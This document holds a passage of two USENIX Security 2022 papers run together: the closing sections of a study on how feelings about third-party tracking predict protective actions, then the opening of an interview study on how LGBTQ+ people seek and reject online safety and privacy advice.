ditions (okay, okay if, ambivalent) are nearer to action points;
whereas (3) annoyance, anxiety emotional responses, as well
as not okay, okay because one uses protection, call for regu-
lation and feeling of boundary loss are nearest to protective
action points.

6.4 How Feelings Predict Protective Actions
We investigate RQ4, that is “How do individuals’ feelings
about third-party tracking predict whether they take protective
actions or not, given their gender and country differences?"
We compute a mixed-effect binomial logistic regression with
random intercept, with dependent variable ‘taking protective
action’ versus ‘not taking protective action’ (as elicited from
participant self-reports), and predictors gender, country and
emotions. The model is constructed as follows: action ∼
(1|Participant) +Gender +Country+FeelingTones. Feel-
ing tones refer to the list of coded tones, except ‘not_aware’
which does not indicate any feeling. We test the model with all
tones versus with only negative tones, and find that the model
with only negative tones has a better quality than the one with
all tones, as shown by its lower Akaike’s Information Criteria
(AIC) and Bayesian Information Criteria (BIC). We there-
fore present the model action∼ (1|Participant)+Gender+
Country+NegativeFeelingTones. This model performs sig-
nificantly better than an intercept-only baseline model with

Table 4: Binomial logistic regression for taking protective
actions versus not.

Est. OR 95% CI p-value

(Intercept) -0.71 0.49 [0.32 - 0.75 .001***

men (vs women) 0.72 2.05 [1.43 - 2.95] <.001***

Germany (vs UK) 0.60 1.83 [1.19 - 2.81] .006**
France (vs UK) 0.58 1.78 [1.16 - 2.74] .008**

not_okay: true (vs false) 1.19 3.28 [1.30 - 8.27] .012*

boundary_loss: true (vs false) 0.93 2.53 [1.49 - 4.30] .001***

unfair: true (vs false) 0.60 1.83 [0.95 - 3.50] .070

annoyance: true (vs false) 1.35 3.84 [2.00 - 7.37] <.001***

anxiety: true (vs false) 1.31 3.72 [1.98 - 6.99] <.001***

discomfort: true (vs false) 0.41 1.50 [0.80 - 2.81] .206

distrust: true (vs false) 0.73 2.08 [0.82 - 5.26] .121

Note: Significance codes of ‘∗∗∗′ .001, ‘∗∗′.01, ‘∗′ .05

χ2(10) = 60.303, p < .001. It has a good fit (C = 0.701),
model accuracy of 70.6% and R2 of 13%. Table 4 reports
that men were twice more likely to take protective actions
than women, with odds ratio (OR) = 2.05, p < .001, that
German and French participants were approximately twice
more likely to take protective actions than UK participants,
with OR = 1.83, p = .006 and OR = 1.78, p = .008 respec-
tively. In addition, participants who reported feeling tones of
‘not_okay’, ‘boundary_loss’ (invaded), annoyance or anxiety,
also showed higher likelihood of taking protective actions
(between OR = 2.53 and OR = 3.84), compared to those not
naming these feelings.

USENIX Association 31st USENIX Security Symposium    297



Figure 7: Spatial Map of Association between Feelings (in blue) and Protective Actions (in red)

7 Discussion

This paper makes a mixed-methods contribution (qualitative
and quantitative) to user-centred privacy research, in particu-
lar on tracking protection. The main take-aways of this paper
are that: (1) the majority of individuals (71.8%) have a neg-
ative feeling about tracking, (2) overall 34.7% do not take
a protective action, some of whom also feel negatively, (3)
protective actions are closely associated with (and predicted
by) particular negative feelings, gender and country, and (4)
there are indications of a gender gap and country differences
in feelings and protective actions. In this section, we first
discuss our findings in relation to literature and related work.
Second, we discuss the implications for different stakeholders
and offer recommendations and paths for future work.

7.1 Our findings in the wider research context

Feelings: While previous research did not find a clear causal
link between individuals’ cognitive evaluation of tracking
(that is their understanding and mental models) and their pro-
tective behaviour [42], our findings support positions that
feelings can provide useful inputs to judgments, decisions

and behaviour when individuals’ cognitive evaluation about
a situation or event is in-accurate or incomplete [22]. This
study therefore improves on cognitive-oriented investigations
of tracking and user privacy.

Our participants’ negative feelings include strong language
and are spread across nuances of feeling tones, and in partic-
ular not only cover a perception of privacy threats, such as
being monitored, of unfair practices and emotional responses
of anger, anxiety, distrust or discomfort, but also the experi-
ence of a deep invasion to their personal realm. These findings
augment previous findings of users’ perception of privacy-
invasiveness of tracking [44, 70, 71]. We also complement
previous research [5, 44, 71], with some of our participants
expressing other feelings, such as sometimes being okay with
tracking, being okay under certain conditions, or being overall
okay.

Protective Actions: In the context of the type of actions
following particular negative feelings [38], we notice some
slight differences in protective behaviour, albeit without clear
distinctions, between annoyance and anxiety (Figure 6). How-
ever, we note the significant prediction of actively taking
protective actions, by annoyance, anxiety or feeling invaded,
compared to feeling discomfort, distrust or unfairness. In ad-
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dition, while previous research reported individuals desisting
from using services, such as location-based services, or tak-
ing retributive actions, such as issuing complaints, following
anger and anxiety [31], our study is limited in not capturing
these behaviours. However, of the 34.7% of participants re-
porting to take no protective action, the ones feeling negatively
about tracking may be adopting passive coping methods such
as acceptance or avoidance, as previously noted in relation to
privacy threats [13, 31, 47].

Gender influence: Our findings provide indications of a
‘privacy gender gap’, complementing previous research on
gender differences on concerns [7, 61, 79], where women in
our study expressed more negative feeling tones combined,
compared to men, who expressed more ambivalence or ‘okay
under certain condition’ tones compared to women – yet men
are twice more likely to take any protective actions, aligning
with previous findings on protective behaviour [55, 61]. This
suggests support for three decades old feminist critiques of the
unequal nature of privacy online – that privacy is not equally
on the side of women as it is for men [2, 41]. More research
is needed into how these differences play out online and how
to empower women to exercise their desired type and level of
privacy.

National influence: We find that the British are less active
in protective actions against tracking, and provided less re-
ports of negative feelings, where action differences aligns
to previous work [19]. Protective actions may relate to the
effects of tracking being less clear or being less equipped to
act compared to other modalities in the advertising ecosystem,
where for example, a higher % of UK participants reported
to object to direct marketing (i.e. being contacted directly via
email or text messages) in the 2019 Eurobarometer survey,
compared to those from Germany or France [17]. The British
may also be less expressive or possibly have higher trust in
authority mandated privacy protection. This phenomenon,
with the national culture as an underlying cause, needs fur-
ther investigation. Additionally, the impact of the depth of
experience of privacy violation (as expressed by German and
French’s stronger language for boundary loss) on protective
actions would benefit investigation.

7.2 Implications & Recommendations

We discuss the implications for different stakeholders, provide
recommendations and highlight avenues for future work.

Users: Individuals’ negative emotions, feelings of unfair-
ness and deep invasion depict the dis-empowered reality of
users, where protective action are also not necessarily ef-
fective. We recommend users to consider privacy-oriented
browsers (such as the Brave browser, as chosen by some of
our participants) over other options. In addition, to facilitate
the development of more privacy-empowered online commu-
nities, specially supporting certain user groups, users may
also be encouraged to openly share about their experiences

of privacy issues and protection methods online, so as to fa-
cilitate the support of social and trusting connections on the
feelings/experience–protective actions link.

Educators, privacy technology designers & providers: to
understand who are more receptive (given their feelings) to
privacy technologies, and to customise ways to up-skill in-
dividuals given their characteristics of gender and country.
Other ways to improve privacy practice include free online
courses, from reliable sources such as the national data protec-
tion authorities. We recommend that educators and privacy-
enhancing technology (PET) designers make it clear what
protection is offered by particular PETs, in a language that
address users’ concerns as expressed via their feelings about
tracking, irrespective of their mental models. It would also be
helpful to establish PETs repositories, and make vetted recom-
mendations more accessible to the lay user. Existing lists for
the general public include that of the Electronic Frontier Foun-
dation’s [24] or the European Agency for Cyber Security’s
(ENISA) [26].

Researchers: to deepen knowledge into the factors be-
tween particular negative feeling and protective action, such
as awareness of and the obstacles to using protective meth-
ods and the support needed, across gender and country char-
acteristic, or whether particular feeling-tones activate or in-
hibit actions. This includes research into different coping
behaviours. In addition, individuals likely cope with track-
ing threats based on the combined judgement of cognition
and affect, while influenced by factors such as perceived self-
efficacy and response-efficacy – future work to include these
variables, as well as awareness of the limitations of protec-
tion methods, where favoured tracking protection methods
such as browser extensions, may not effectively block ads
and trackers [53]. We also recommend research into diverse
gender identities and user groups, in particular to understand
their privacy experiences, vulnerabilities and challenges, and
in comparison to the already available literature focused on
cisgender. Furthermore, tracking issues also exist in platforms
such as apps and IoT devices, and across platforms. While
some efforts have been made for example in Apple’s recent
App Tracking Transparency (ATT) policy [4], it comes with its
own issues such as increasing the number of privacy prompts
and its effectiveness in improving user privacy remains as
research questions.

Regulators and national data protection authorities: to
set guidelines for actual fair practices, such as to avoid dark
patterns that nudge users’ acceptance despite their feelings
and concerns, and for companies and service providers to
demonstrate these fair attributes to customers, and to provide
fair and inclusive practices for diverse user groups. It would
also be helpful for researchers and designers to work with
regulators and authorities, in preparing user-centric guidelines
that support the deployment of new privacy technologies.
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8 Conclusion

This paper adds to literature with an understanding of in-
dividuals’ experiences of tracking and protection practices
online. It adds to the mostly cognitive-focused literature of
user privacy by providing novel findings on how feelings as-
sociates with and predicts protective actions. It describes a
mixed methods approach, including (1) elicitation and synthe-
sis of individuals’ feelings and their own description of their
protective actions, and (2) quantitative analyses and visuali-
sation of associations. It discusses the findings in the context
of previous work and what the findings mean for various pri-
vacy stakeholders and make recommendations. As highlight
for future work, it proposes that although particular feelings
about tracking are closely linked to protective actions, further
research is needed into connecting these feelings with effec-
tive action, while gender/country differences point to needing
customised methods and support for accessible protection.
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A Codebook

Table 5: Codebook of Feelings with regards to Third-Party Tracking (with example words mentioned in responses)

Emotion Explanation & Example words in responses

Not Okay Participants say ‘not okay’, ‘not like’

Boundary loss There is a sense of loss of boundaries wrt to info privacy, or beyond info boundaries
E.g words: invasion of privacy, tracked,unsafe, naked, raped, exposed, invaded,
watched, violated, exploited, insecure

Unfair practice A sense of unfair actions from others
E.g. words: used, misused, sold, manipulated, ill-informed, not you making decisions,
no chance to decide, info stolen, betrayed, dishonest, sneaky, sleazy, immoral,
illegal, like a rat-test subject. No control, trapped, cheated, obscure, powerless, unethical

Annoyance Expressed anger-related emotion
E.g. words: Annoyed, angry, disgust, irritated, exasperated, bothered

Anxiety Expressed worry-related emotion
E.g. words: Scared, worry, cautious, creepy, spooky, unnerving, concern

Distrust Expressed suspiciousness
E.g. words: Suspicious, not trust, wary, uncertain

Discomfort Expressed discomfort or overwhelm
E.g. words: uncomfortable, overwhelm, unsettled, unpleasant, uneasy, disturbed

Should be regulated Expressed that third-party tracking should be regulated/protected
E.g. words: should be regulated, should be protected, should be banned,
should be made aware, should be transparent

Okay Expressed that they were overall okay with tracking or used specific words.
E.g. words: I am okay, I am alright

Ambivalent Expressed that they are sometimes okay sometimes not okay, fine for this reason
but not fine of other reason

Okay, protected Expressed that they were okay with tracking because they protect themselves anyway.
E.g. words: I am okay as/because I protect myself.

Okay, if Expressed that they would be okay with tracking IF . . . .
E.g. words: I am okay if they do that / . . . if I know / . . . but have to inform

Necessity E.g. words: it’s a necessity/a must, impossible for normal user to do

Not aware E.g. words: I don’t know enough, I don’t know

Indifferent E.g. words: indifferent, insensitive, I don’t care

None Participants say that they feel nothing
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Abstract

Given stigma and threats surrounding being gay or trans-
gender, LGBTQ+ folks often seek support and infor-
mation on navigating identity and personal (digital and
physical) safety. While prior research on digital secu-
rity advice focused on a general population and general
advice, our work focuses on queer security, safety, and
privacy advice-seeking to determine population-specific
needs and takeaways for broader advice research. We
conducted qualitative semi-structured interviews with 14
queer participants diverse across race, age, gender, sex-
uality, and socioeconomic status. We find that partici-
pants turn to their trusted queer support groups for ad-
vice, since they often experienced similar threats. We
also document reasons that participants sometimes reject
advice, including that it would interfere with their mate-
rial livelihood and their potential to connect with others.
Given our results, we recommend that queer-specific and
general security and safety advice focus on specificity—
why and how—over consistency, because advice cannot
be one-size-fits-all. We also discuss the value of inter-
sectionality as a framework for understanding vulnera-
bility to harms in security research, since our partici-
pants’ overlapping identities affected their threat models
and advice perception.

1 Introduction

About 80% of American LGBTQ+ (an umbrella
acronym including lesbian, gay, bisexual, transgender,
and queer) adults use social media sites [98], including
for dating and connecting with loved ones. Due to the
stigma attached to LGBTQ+ or queer (hereafter used in-
terchangeably) identity, particularly for transgender and
non-binary individuals, social media and the web at large
can be a safety net to combat alienation [64, 92, 49], but
also be a place of significant potential harm [92, 46, 100].
In this paper, and in line with prior work [86, 41], we are

interested in potential harms broadly, rather than distin-
guishing between security, safety, and/or privacy.

Facing such risks online, an individual might seek
out advice from a variety of sources. Where does this
advice come from, and is it effective? While these
questions have been previously studied for general se-
curity and privacy advice for general populations [85,
87, 89, 88, 43, 90], LGBTQ+ individuals face identity-
based risks that straight and cisgender individuals do
not [69, 38, 73]. Given prior work suggesting that pri-
oritization increases advice adoption and efficacy, we
look to prioritizing and tailoring advice to specific threat
models. In this work, we evaluate participants’ experi-
ences with advice targeted at queer-specific threat mod-
els rather than general online risks.

Our research questions are:

1. Where do queer individuals in the U.S. learn about
mechanisms for supporting their online security,
safety, and/or privacy?

2. What barriers prevent advice from being effective
for queer individuals?

3. How do multiple facets of identity impact queer in-
dividuals searching, acting on, or rejecting online
security, safety, and/or privacy advice?

To answer our research questions, we conducted qual-
itative semi-structured interviews with a diverse group of
14 queer individuals. We intentionally recruited for dif-
ferences across age, race, gender, sexuality, and socioe-
conomic status so that we could take an intersectional
approach to data analysis, as “people’s lives... are better
understood as being shaped not by a single axis of social
division, be it race or gender or class, but by many axes
that work together and influence each other” [22].

Our major findings include:

1. Participants often turn to queer support groups for
advice and emotional support, in addition to other
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sources like family or work. These support groups
serve both to provide individual advice as well as
to collectively combat community-level threats. In
one example, Participant 14 described her lesbian
social media group blocking trolls together “like
lesbians walking the perimeter” of their online com-
munity.

2. In addition to thinking of time spent or convenience
as a trade-off for adopting security advice, partici-
pants also lamented loss of business or joy of con-
necting with others as reasons to not adopt privacy
practices on social media.

3. Interlocking facets of identity affect people’s
perception and adoption of advice, and partici-
pants sometimes prioritize non-queer identity re-
lated threats.

Based on our results, we develop takeaways for bet-
ter security, safety, and privacy advice, with conclu-
sions likely applicable to other vulnerable or marginal-
ized populations as well. For example, we observe that
specificity is more important than consistency for ad-
vice, since even people with a common identity (e.g.,
queer) may differ in their threat models (e.g., social me-
dia business-user who needs a public profile) and circum-
stances. As such, we also touch on how intersectionality
can be useful, even necessary, in security research when
threat modeling. Finally, we stress that advice is limited
in preventing harms by placing responsibility of safety
on an individual rather than on an institution.

2 Related Work

Our work is motivated by how stigma creates queer-
specific threats and vulnerabilities, both offline and on-
line. We also consider how other overlapping identities
play a role in risk by discussing research with other vul-
nerable or marginalized populations. Finally, we sum-
marize prior research on general security advice and tar-
geted advice.

2.1 Queer-Specific Risks

The specific harms and threats that queer folks face (off-
and online) due to stigma around sexual orientation or
gender have been well-documented.

Technology-independent risks. Risks to queer folks ex-
ist independent of technology (e.g., at school, home, and
work). Queer youth are more likely than their heterosex-
ual and cisgender (or cis) counterparts to be bullied, con-
sider suicide [5], and be homeless [9]. LGBT youth are

often homeless because they are thrown out by their par-
ents upon learning they are gay [9]. While U.S. law tech-
nically protects LGBTQ+ people in the workplace [71],
in practice their jobs may still be at risk (e.g., a teacher
was reportedly fired for being gay after a student discov-
ered his OKCupid profile [2]).

Transgender (or trans) folks, particularly Black or
Latino trans women, are disproportionately likely to face
violence [13]. Trans/gay panic, a legal defense for some-
one to justify violence against someone after finding out
they are transgender or queer, is still legal in 35 states [7].

Risks on social media. The risks of being out—public
about one’s identity as queer—indicate how important it
is for queer folks to be able to control access to their
information. Prior work has noted queer individuals do
not always feel safe presenting their queer identity to all
audiences on social media [23, 38, 28, 47, 92], a prob-
lem more generally known as context collapse [75]. This
can be especially stressful for transgender individuals
navigating transitioning and coming out on social me-
dia [52, 84, 53]. To manage different audiences, indi-
viduals use affordances including multiple social media
sites or accounts, private accounts, and granular post vis-
ibility [38, 28, 47].

Risks in online dating and sexting. Over half of les-
bian, gay or bisexual American adults have used a dat-
ing app [16]. Online dating can provide queer individ-
uals connection [99] and a space to explore one’s iden-
tity [38]. It is also a site of privacy tensions, as users
often provide location data, use it to connect with peo-
ple outside of their known social network, and include
more sensitive information in profiles [34]. Recently
there have been scams extorting queer dating app users
by threatening to out them [6].

Sexting through dating apps or through other messag-
ing apps has become a common practice in the U.S. [61],
and researchers have highlighted its positive role in re-
lationship satisfaction [27, 40, 96]. Sexting also comes
with risks, such as non-consensual sharing of intimate
images, that have worse consequences for women and
non-binary individuals [48, 68].

Other risks. The prior sections are a non-exhaustive
list of possible harms targeted towards queer individu-
als. Queer and trans activists [69], refugees [17], sex
workers [76], and other vocations or identities face other
specific threats. Given that our paper is focused on ad-
vice for queer folks, not threat models, we leave the full
spectrum of financial, physical, relational, and emotional
harms [93] for different threat models largely to other
work. But we also touch on the importance of these over-
lapping identities in Section 2.2.

306    31st USENIX Security Symposium USENIX Association



2.2 Intersectional Identities
To understand the complexity of why queer folks adopt
or reject advice, and their threat models, we use the
framework of intersectionality. This posits that oppres-
sion and power is better understood as shaped by mul-
tiple axes of identity [22], e.g. but not limited to, race,
gender, class, sexuality, and disability [36]. Here we de-
fine power as agency and access to resources [37], and
power dynamics as “differences in ability to take action
between parties” [104].

The reason we are explicitly looking at power is
because lack of power reduces one’s ability to resist,
reduce, or prevent harm [104, 19]. And individuals
marginalized across multiple identity axes are a bigger
target for harm. For example, being a woman raises one’s
risk of being harassed online, and this risk is higher for
queer women and women of color [33].

Intersectionality also helps us analyze “across do-
mains of power” [22]: across interpersonal, cultural, dis-
ciplinary, and structural relationships. For example, a
queer employee may be fired by their company for being
gay (structural and cultural). And a queer person may be
abusive to their partner [42] (interpersonal). Harm can
come from institutions, as well as from other marginal-
ized individuals [92, 104]. Given this, we are interested
in how individuals at certain intersections may not have
the same avenues of recourse after a security breach or
unsafe experience, and therefore do not adopt certain ad-
vice.

2.3 Security for Vulnerable Populations
There has been interest in the security community around
understanding the specific needs of different vulnerable
or marginalized populations. For example, this includes
studying older adults [45], people with visual impair-
ments [60], sex trafficking survivors [31], refugees [94],
and journalists [79]. Our present work fits into that
space, deepening our understanding of the experiences
of queer individuals in trying to respond to their secu-
rity/safety/privacy concerns. We hypothesize that some
of our conclusions are relevant to other marginalized
groups as well.

2.4 Security Advice

Advice evaluation. Providing security education to
users has often been a takeaway from user studies on
people’s security concerns and practices, especially for
marginalized groups [94, 31]. Researchers have said that
good security advice should be effective, actionable, and
understandable [89, 90]. Yet, general security advice on-
line is often inactionable, whether due to the cost-benefit

trade-off not being worth it [62, 43], too much advice
existing with no prioritization [89, 20], or that “the right
advice might change over time with the attack landscape,
new technology, and experience” [90]. And security ex-
perts and non-experts have differing opinions on what
“good” advice is [66].

Sources of advice. Redmiles et al. found that people
often turned to their IT or computer science family and
friends for security advice, but people with higher so-
cioeconomic status and technical skill tend to take more
advice from the workplace rather than from friends and
family [87]. Rader et al. pointed out that informal stories
between friends and family about security incidents are
useful to learning about security behaviors and changing
mental models [85].

Advice for specific populations. The safety priori-
ties and contexts of queer individuals may be different
from the general population, and therefore warrant dif-
ferent advice, as “people from different under-served
groups may have profoundly different needs and chal-
lenges for security and privacy” [106]. Even amongst
queer individuals, queer life experiences and concerns
can be very different [97]. Security advice exists specif-
ically for women [24], gay online dating [4], queer in-
dividuals using Instagram [8], and Black Lives Matter
protesters [103] to name a few examples. The Reconfig-
ure Network organized security community workshops
and found that contrary to popular cybersecurity narra-
tives that users are uninterested in security, their partici-
pants demonstrated care and thoughtfulness in both their
own and communal privacy practices, and their practices
are shaped by privilege and oppression [14]. We follow
Reconfigure’s epistemological approach (feminist stand-
point theory) of looking to users as experts in their own
lives, rather than relying on threat models and advice de-
veloped by traditional security experts.

3 Methodology

To answer our research questions, we conducted semi-
structured qualitative interviews with queer individuals
who use social media, dating apps, or apps for sexting.
We asked participants what online safety advice they
have given and received, as well as their thought pro-
cesses behind adopting or rejecting advice. We also col-
lated online documents of queer safety advice as prompts
and asked participants how they felt about certain advice
relevant to their online activities.

3.1 Interview Protocol

We developed an interview script to ask questions about:
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Race Highest Level of School Household Income Age
White 9 Some college credit, no degree 5 Under $20,000 3 18-24 years old 3
Black 4 Associate degree 2 20,001–40,000 4 25-34 years old 4
Asian 2 Bachelor’s degree 5 40,001–60,000 2 35-44 years old 3
Latino 1 Master’s or other graduate degree 5 60,001–80,000 1 45-54 years old 2
Native American 1 $100,001 or over 2 65-74 years old 2

Table 1: Participant demographics. We report these in aggregate for our set of 14 participants for participant anonymity.
Participants sometimes answered more than one option (e.g., race).

P Gender Orientation
1 non-binary bi
2 woman of trans experience bi
3 female pansexual
4 transgender man gay
5 non-binary demisexual
6 trans girl mostly sapphic
7 gender non-conforming queer
8 non-binary queer
9 cis woman queer/bisexual
10 male homosexual, queer
11 cis male gay
12 female lesbian
13 transgender queer
14 female lesbian

Table 2: Participants self-reported their gender and sex-
ual orientation.

1. What concerns have participants had about online
security / safety / privacy related to queerness? Re-
lated to other aspects of their identity? Why do they
have these concerns?

2. Have participants ever changed their behaviors to
deal with these concerns? How or where did they
learn to change their behaviors? Have behavior
changes ever failed to solve the problem?

3. Have participants given online safety / security / pri-
vacy advice to others?

4. What online advice have participants seen but de-
cided was not for them?

5. If people are unconcerned about online safety / se-
curity / privacy, what are they resigned to?

The full interview protocol can be found in Ap-
pendix 9.1.

Advice Prompts. We also gathered queer safety advice
available online as prompts for participants to think about
behaviors related to concerns they had (Appendix 9.2).
These prompts were collated from ten pages of online
search results for “lgbtq online safety advice”. Our goal

wasn’t to systematically evaluate advice: instead it was
to probe participants about what it would be like adopting
behavior they had either never thought of or didn’t have
in recent memory. Therefore, not all participants were
asked about the same advice, because it wasn’t always
relevant to them. Some prompt examples include “use
2-factor authentication” and “on a first date, don’t meet
at home.”

Procedure. Interviews were conducted remotely either
by phone or by video conferencing program, depending
on participant choice. They ranged from 45 to 90 min-
utes. Participants were compensated with a $30 gift card.
Calls were recorded with participant consent. Only audio
data was saved; all video was deleted after the interview.

Interviews were transcribed by two researchers to
avoid third-party access to interview data, and were
anonymized in the transcription process. Quotes used
in this paper are paraphrased for clarity and further
anonymity.

Ethics. Due to the potentially harmful memories our in-
terview questions could bring up, we took care to fol-
low best practices from trauma-aware research. We em-
phasized to participants that they could skip any ques-
tion and end the interview at any time and still receive
compensation. The interviewer listened without judge-
ment and offered participants time to take a moment if
needed following a sensitive disclosure. The interviewer
also had the Trevor Project hotline number available in
case a participant needed to be directed to a counselor
(though no participant used the number). We also fol-
lowed best practices to ethically conduct research with
marginalized populations [105], including providing fair
compensation and sending the research output (e.g., the
paper) to participants after publication. Our study was
approved by the University of Washington IRB.

3.2 Participants

We recruited 14 queer participants diverse across age,
race, disability, and economic and educational status (Ta-
ble 1). We determined saturation at 14 participants af-
ter no new higher-level themes emerged from the data
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and at which point we no longer needed to refine themes
after subsequent interviews. Their self-reported gender
and sexuality are in Table 2. Participants were recruited
through flyers around a major city in the U.S., as well
as through postings in queer listservs and other online
communities. We also collected demographic informa-
tion on community type since prior research has shown
that queer folks in rural environments face unique con-
cerns [50]. Ten participants live in urban areas, three in
suburban areas, and one in a rural area.

3.3 Data Analysis
We conducted thematic analysis on the transcripts, using
primarily inductive coding [26]. First, two independent
coders familiarized themselves with all transcripts [25].
Then they independently coded four interviews before
discussing code choices and agreeing on an intermedi-
ate codebook. During the discussion process, they began
deductively coding using threat modeling as a framework
to include threats and mitigation behaviors as lower-
level codes, to be integrated into higher-level themes.
They doubled-coded eight more interviews, stopping ev-
ery two interviews to discuss changes to the codes and
higher level themes, until consensus was reached. All
transcripts were recoded as necessary. One coder coded
the final two interviews.

Inter-rater reliability (IRR) was not calculated because
our research goal is the richness and nuance of different
experiences, not counts of how often a theme occurred,
and because we double-coded and reached consensus on
nearly all transcripts [78].

3.4 Author Positionality
Our work is undergirded by feminist standpoint theory,
which calls for an understanding that social knowledge
and experiences are situated in a specific context [56, 95].
Therefore, we emphasize that the narrative of our results
is influenced by our own perspectives and backgrounds.
Some authors identify as queer or non-binary and others
identify as straight and cis. The authors are either East
Asian or white. From an intersectional framework, we
recognize that some of us are marginalized across some
axes of identity and not others, and that our identities do
not fully reflect those of our participants.

4 Results

To provide context for our results, we begin by briefly
summarizing key points from participants’ threat mod-
els. Participants mentioned concerns around homopho-
bic and/or transphobic workplaces, government actors,
online strangers, corporations, friends, and family. Some

participants were also concerned about harassment from
within queer communities. Threats and concerns in-
cluded, but are not limited to, deadnaming (use of a trans
or non-binary person’s former name without their con-
sent), transphobic and homophobic harassment, doxxing,
losing one’s job for being queer, and physical violence.

We now dive into our core research questions, detail-
ing where participants found online safety, security, or
privacy information for these threats, their barriers to
finding useful advice, and how identity played a role in
their advice evaluation.

4.1 Advice Sources
Our participants named a variety of sources from which
they either learned something accidentally or they inten-
tionally looked for advice. Purposefully looking for ad-
vice was sometimes motivated by a security incident the
participant or someone they knew had.

4.1.1 Asking community

Friends and family. Echoing previous work [85, 88],
our participants turned to friends and family for safety
advice. Some people like P14 mentioned turning to
someone in their life who knows tech-related things, in
her case her son, who works in IT, for a question on Face-
book bans. P1’s friends turned to P1 for social media
privacy questions because they have a computer security
job, even though it is unrelated to social media. Rather
than purposely turning to a loved one, P9 learned privacy
advice from her partner incidentally. He brought up in
casual conversation,

‘I read online that TikTok is doing such and
such things.’ I was like that’s probably true.
But it is a very fun dumb app, so I am going to
continue using it.

On the other hand, P11 (cis man, gay) for example,
asked a friend with a shared threat model—rather than
specific technical expertise—for advice:

You know, a lot of her concerns [around dat-
ing] as a female...I’ve also learned and real-
ize that this could also be valuable to me as...a
queer male.

Queer community. Other participants specifically asked
those with whom they shared their queer identity for ad-
vice, either because they felt—like P11 with his female
friend—that they had a shared identity-based harm or be-
cause they had a queer-specific concern. They turned ei-
ther to their informal queer friend groups or formal queer
support groups. For example, at a get-together with

USENIX Association 31st USENIX Security Symposium    309



queer friends, P13 gave advice to a friend who wanted
to put their “full authentic self” online. Other attendees
at the get-together also shared their differing opinions
on whether to be more private or public online, creating
what P13 described as “kind of a round [table] barbecue.”

When P4 (trans man, gay) found a coworker on Grindr
and realized they were accidentally outed to each other,
and became concerned his workplace would find out, he
turned to his trans men support group to hear their expe-
riences and advice on what to do next. As P4 puts it, “It
wasn’t like we had a leader, but we all just sort of com-
pared notes about what we were doing.” Having a group
of people to talk to let participants hear about different
experiences so they could make an informed decision on
what to do next.

For P14 and P12, their Facebook lesbian or LGBTQ+
support groups experienced harassment themselves, and
they would turn to in-group members for help.

P6 incidentally came across privacy advice from her
queer community, rather than purposely seeking out ad-
vice. P6 frequents Twitter and follows other trans and
autistic people, some who are very security and privacy
conscious. She learned about how to change what gender
Twitter assumed she was after seeing a viral tweet about
it on her Twitter feed.

Benefit of asking community: emotional support.
Getting advice sometimes came with emotional support,
which was more common when people sought advice
from their trusted community. And it may be especially
important right after a harmful event. For example, P12
turned to her queer cousin after getting cyberbullied for
posting LGBTQ+ related topics on social media. She de-
scribed reaching out to her queer cousin as,

really beneficial. Yeah, I took [the advice] into
consideration because I felt I had someone that
really cared about me and that really accepted
me for who I was.

P14 also took physical privacy advice from his queer
community on Tumblr, which previously helped him
process and validate his coming out experience with his
family. Emotional support helped build trust and gave
P14 a place to turn to for future concerns.

When P8 provided advice to an older woman who was
worried about sharing a Zoom link publicly, they also
worked to calm her fears. P8 said,

I got this whole Boomer crew that are like,
maybe you can teach us [how to Zoom screen
share] sometime...And so those are the people
who I am both their cheerleader and acknowl-
edge that their fears might have some foun-
dation. To be cautious, but also to embolden
them.

Safety concerns and behaviors were tied to emotions, so
receiving and providing emotional support was helpful
for these participants. P8 stressed the comforting aspect:

I don’t push. I don’t push as a practitioner
[with] whatever I’m doing with my [yoga]
clients, whether it’s this kind of [safety con-
cern] conversation or the actual meat of my
services. I have to acknowledge where they
are.

4.1.2 Learned through vocation or school

For P7, online security was often discussed not just in
her home, but also at school or work:

We literally have to watch like these presenta-
tions every year on ’this is why you need to
change your password and confidentiality’ and
blah blah and just keeping unauthorized access
at a low.

Redmiles et al. also noted the workplace as a source
of digital security advice “in the form of newsletters, IT
emails, or required trainings” [88].

P7 learned to change their passwords at least once a
year, something they continue to do today, from their
high school media technology class. They received a
hard drive to save their art and was told to “put your
personal password on there to protect it because it’s no
one else’s fault if any of your stuff gets erased.” This
notion of personal responsibility and concern over art
theft, which happened to their friends and almost hap-
pened to them, cemented this security behavior. P14, a
former teacher, taught her students about how sharing on
social media isn’t always private: “If you wouldn’t want
a potential employer to see it in 10 years, you shouldn’t
be writing it now.” And P6 learned about cat-fishing
(someone being deceptive in their online dating profile)
through a film at her autistic education program.

4.1.3 Searching the web or platform settings

For questions about specific settings, actions, or pro-
grams, where the participant already knew the term for
what they were looking for, some participants turned to
an Internet search engine.

For example, P5 did extensive research on what VPN
to use based on their requirement that it not sell their data
to third parties. And for advice on dating security and
privacy for young women, P3 turned to a YouTube chan-
nel run by someone who was previously in an abusive
relationship.

P1 was looking for how to change a specific Facebook
setting, but only found outdated information that did not
apply to their Android phone. P12 looked up how to
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Barriers to Finding/Adopting Advice
No language for it
Solution not online
Advice would interfere with income
Advice would interfere with relationships
Distrust in source
Advice out-of-date
Sense of futility

Table 3: Participants mentioned different reasons for not
adopting advice.

block someone on Facebook, and someone directed P14
to search Facebook’s website for how to block someone,
but P14 did not find the site information as helpful as
instructions from her friend, who had to block the same
person harassing their lesbian Facebook Group.

P8, P11, and P13 mentioned not knowing what lan-
guage to use to search for certain safety-related infor-
mation, which will be discussed more below in Sec-
tion 4.2.1.

4.2 Barriers to Finding and Following Ad-
vice

We detail difficulties participants encountered to find-
ing security, safety, and privacy information, as listed
in Table 3. While inconvenience was sometimes cited
as the reason that advice did not work (as in prior
work [62, 88]), our participants faced additional trade-
offs as well.

4.2.1 No language for it

P8 and P11 both stated they did not know how to phrase
their safety questions to search online, with P8 saying
that after having someone duplicate their Instagram ac-
count to scam others, “I wouldn’t know how to even be-
gin formulating the questions. I’m not even sure what my
question would be.” During the interview, they said they
might search “How do I protect myself?” And P13 said
he was not aware that safety advice specifically for queer
folks is something that could be found on the Internet.

We note that P8 is in their 40s and started using the
Internet in the 90s, P11 is in his 20s, and P13 is in his 60s.
Youth and being introduced to the Internet at a young age
do not necessarily translate to broad Internet expertise
and skills [57].

Some of our participants did bring safety knowledge
from one platform to another, but this tended to be analo-
gous experiences of learning to block users on, for exam-
ple, MySpace and transferring that knowledge to Face-
book (P2), or knowledge of Telnet and SMTP’s lack of

encryption to leading to skepticism of contemporary In-
ternet traffic (P10).

4.2.2 Solution could not be found online

There were a few questions participants had that they
could not find answers to. P14 was not sure how a troll’s
account was still able to harass her on Facebook after she
blocked the account. P5 could not find any authoritative
source on whether “don’t let children talk to adults on
the Internet” is reasonable advice (P5 disagreed with this
advice because they thought then only predators would
